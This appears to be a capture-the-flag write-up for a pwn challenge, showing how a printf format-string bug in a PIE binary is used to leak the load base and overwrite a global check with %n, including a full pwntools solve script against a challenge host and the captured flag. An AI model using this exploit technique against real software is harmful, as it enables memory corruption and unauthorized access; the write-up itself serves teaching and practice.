Echoes of Memory two format strings, one leak and one write

pwn
flag RxR{5e15db7b-410e-42c7-a038-ba7333c620c7}

A stripped PIE binary that asks for two messages and repeats each one back. The repeat is printf on the raw buffer - so the messages are a format string - and two of them is exactly enough: one to leak the load base, one to flip the single int that gates the flag.

What it asks for

output
FLAG
[+] The monkey recovered its memories!
[+] Flag: %s
[-] FLAG environment variable is missing.
[Monkey] Message %d:
[Monkey repeats]:
[Old note] rxr{monkey_laugh_at_you}

Pitfall

There's one planted string, rxr{monkey_laugh_at_you}, lowercase where the real flag format is RxR{...}. Bait, same joke as the "monkey" flavour text elsewhere in this event.

The check worth breaking

asm
111e9  push rbp
211ed  sub  rsp, 0x90
3...
41264  mov  rdx, [stdin]
5126b  lea  rax, [rbp-0x90]
61272  mov  esi, 0x80
7127a  call fgets
8...
912a2  lea  rax, [rbp-0x90]
1012a9  mov  rdi, rax
1112b1  call printf              ; <-- the format string is our buffer
12...
1312c5  mov  eax, [0x405c]
1412cb  cmp  eax, 0x1337
1512d0  jne  12d9
1612d2  call 1189                ; win: getenv("FLAG"), printf("[+] Flag: %s")

fgets(buf, 0x80, stdin) into rbp-0x90, the buffer printed back as a format string, then a 4-byte global at 0x405c compared against 0x1337. The win branch prints the environment. The loop runs twice: one message to leak, one to write, and PIE with no canary means the load base has to come first.

Stack offsets

At the printf(buf) call, rsp sits at rbp-0x90 - the buffer itself - so the first eight bytes of the buffer are variadic argument 6 (%6$p). That puts the 0x90-byte buffer at args 6-23, saved rbp at 24, return address into main at 25:

session
$printf '%%20$p|%%21$p|%%22$p|%%23$p|%%24$p|%%25$p\n' | ./echoes-of-memory
[Monkey repeats]: (nil)|(nil)|(nil)|0x18e205000|0x7fffb9f95f90|0x5e6c7c39632e

The last value is base + 0x132e, the instruction after the call to the loop function, so base = leak - 0x132e.

Pitfall

Two things cost real time here. First, my initial probe was 39 %p specifiers in one line - fgets stops at 0x7f bytes, cutting the format string mid-specifier, and the leftover half got eaten by the second fgets on the next iteration (making message 2 look like it already had input). Keep probes short. Second, the obvious write payload - address first, then %n - silently does nothing, because a real pointer's high bytes are \x00 and printf stops at the first NUL before reaching %n. The format text has to come first; the address goes after it, at an argument slot you can name.

The write

Pad the format text to a multiple of 8 bytes so the appended address lands cleanly on arg 8 (buf[16:24]). %4919c%8$n prints 4919 characters and writes that count via %n - 4919 = 0x1337.

Show the full solve script
solve.py python
1#!/usr/bin/env python3
2from pwn import *
3
4context.arch = 'amd64'
5
6BIN, RET_OFF, TARGET, WANT = "./echoes-of-memory", 0x132e, 0x405c, 0x1337
7
8def payload(addr):
9    fmt = f"%{WANT}c%8$n".encode()          # 10 bytes
10    fmt += b"A" * ((8 - len(fmt) % 8) % 8)  # pad to 16 so addr lands on arg 8
11    return fmt + p64(addr)
12
13p = remote("80.241.212.197", 10820)
14
15p.recvuntil(b"Message 1: ")
16p.sendline(b"%25$p")                        # leak the return address into main
17p.recvuntil(b"[Monkey repeats]: ")
18base = int(p.recvline().strip(), 16) - RET_OFF
19
20p.recvuntil(b"Message 2: ")
21p.sendline(payload(base + TARGET))          # write 0x1337 over the check global
22
23print(p.recvall(timeout=5).decode(errors="replace"))
session
[*] pie base = 0x5b7b337b9000  target = 0x5b7b337bd05c
[+] The monkey recovered its memories!
[+] Flag: RxR{5e15db7b-410e-42c7-a038-ba7333c620c7}

Flag

output
RxR{5e15db7b-410e-42c7-a038-ba7333c620c7}

The flag is pulled from the instance's own FLAG environment variable - confirmed stable across two fresh connections to the same instance.